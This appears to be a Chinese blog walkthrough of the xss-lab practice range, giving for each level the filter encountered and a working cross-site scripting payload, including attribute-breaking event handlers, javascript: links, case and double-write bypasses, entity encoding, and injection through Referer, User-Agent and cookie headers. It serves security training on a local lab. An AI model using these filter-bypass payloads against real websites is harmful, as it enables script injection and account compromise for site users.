XSS靶场通关详解

前言

这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关

进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:

复制代码
<script>alert(1)</script>

第二关

可以发现第二关是表单的传参点

尝试失败,意识到第二关开启了拦截

查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:

复制代码
"><script>alert(1)</script>

第三关

使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:

复制代码
' onclick='alert(1)'

第四关

将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用"进行闭合,直接弹窗

payload:

复制代码
"' onclick='alert(1)'

第五关

使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签

点击此处即可弹窗

payload:

复制代码
"'> <a href='javascript:alert(1)'>

第六关

将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:

复制代码
"'> <a HREF='javascript:alert(1)'>

第七关

输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过

payload:

复制代码
"'> <a hrehreff='javascscriptript:alert(1)'>

第八关

输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗

payload:

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接

此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:

复制代码
javascript:alert(1)//http://www.baidu.com

将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

第十关

尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url

复制代码
http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:

复制代码
http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'

第十一关

尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:

复制代码
'" type='text' onclick='alert(1)'

第十二关

跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss

payload:

复制代码
'" type='text' onclick='alert(1)'

第十三关

跟11和12关类似,这里换成了cookie

payload:

复制代码
user='" type='text' onclick='alert(1)'

第十四关

本关出错了,直接打15关即可

第十五关

本关需要用到一个新的属性

AngularJS ng-include 指令详解-CSDN博客

可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗

payload:

复制代码
http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'

第十六关

发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:

复制代码
<img%0asrc=1%0aonerror=alert(1)>

第十七关

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)

思路:闭合前面的src标签然后添加事件属性

payload:

复制代码
' onmouseover=alert(1)

第十八关

跟上一关一样

第十九关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

第二十关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

相关推荐
嫄码5 分钟前
TCP/IP 四层模型
网络·网络协议·tcp/ip
游戏开发爱好者87 分钟前
FTP 抓包分析实战,命令、被动主动模式要点、FTPS 与 SFTP 区别及真机取证流程
运维·服务器·网络·ios·小程序·uni-app·iphone
liebe1*114 分钟前
第三章 常用协议
网络
key0642 分钟前
大模型在网络安全领域的应用与评测
网络·人工智能·web安全
望获linux1 小时前
【实时Linux实战系列】实时 Linux 的自动化基准测试框架
java·大数据·linux·运维·网络·elasticsearch·搜索引擎
纸带2 小时前
USB --SETUP --STATUS阶段
linux·服务器·网络
宁小法2 小时前
HTTP 请求中断的深度扩展知识
网络·网络协议·http
言之。2 小时前
ClickHouse 数据更新策略深度解析:突变操作与最佳实践
服务器·数据库·clickhouse
火星数据-Tina3 小时前
LOL实时数据推送技术揭秘:WebSocket在电竞中的应用
网络·websocket·网络协议
ajassi20003 小时前
开源 Linux 服务器与中间件(三)服务器--Nginx
linux·服务器·开源